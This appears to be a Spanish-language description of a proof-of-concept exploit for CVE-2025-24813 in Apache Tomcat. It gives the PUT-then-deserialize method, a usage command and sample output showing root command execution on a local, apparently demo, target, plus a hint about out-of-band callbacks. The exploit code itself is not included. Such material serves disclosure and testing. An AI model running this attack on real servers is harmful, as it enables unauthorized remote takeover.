
Prueba de concepto de exploit para RCE por deserialización en Apache Tomcat (CVE-2025-24813). Sube un archivo de sesión manipulado mediante una solicitud PUT y desencadena la deserialización para ejecutar comandos arbitrarios en el servidor objetivo.
Apache Tomcat Deserialización RCE
❯ python3 exploit.py http://localhost:8080/ "id"
============================================================
CVE-2025-24813 - Apache Tomcat RCE mediante PUT Parcial
============================================================
[*] Objetivo: http://localhost:8080
[*] Comando: id
[*] Creando payload de exploit...
[*] Subiendo payload mediante PUT a: http://localhost:8080/session/exploit.session
[*] Respuesta PUT: 201
[+] ¡Payload subido exitosamente!
[*] Disparando deserialización...
[*] Respuesta Trigger: 200
[*] Cuerpo de respuesta:
<!DOCTYPE html>
<html>
<head><title>¡Deserialización Activada!</title></head>
<body style="background:#1a1a2e;color:#e0e0e0;font-family:monospace;padding:2rem;">
<h1 style="color:#ef4444;">⚠️ ¡Deserialización RCE Activada!</h1>
<p>Archivo de sesión deserializado: exploit.session</p>
<p>Comando ejecutado: <code style="color:#4ade80;">id</code></p>
<hr>
<pre style="background:#0a0a0a;padding:1rem;border-radius:8px;color:#00d4ff;">
uid=0(root) gid=0(root) groups=0(root)
</pre>
</body>
</html>
[*] ¡Exploit completado!
Si la deserialización funcionó, verifica el objetivo para la ejecución del comando.
Para RCE ciego, usa técnicas fuera de banda (callbacks DNS/HTTP)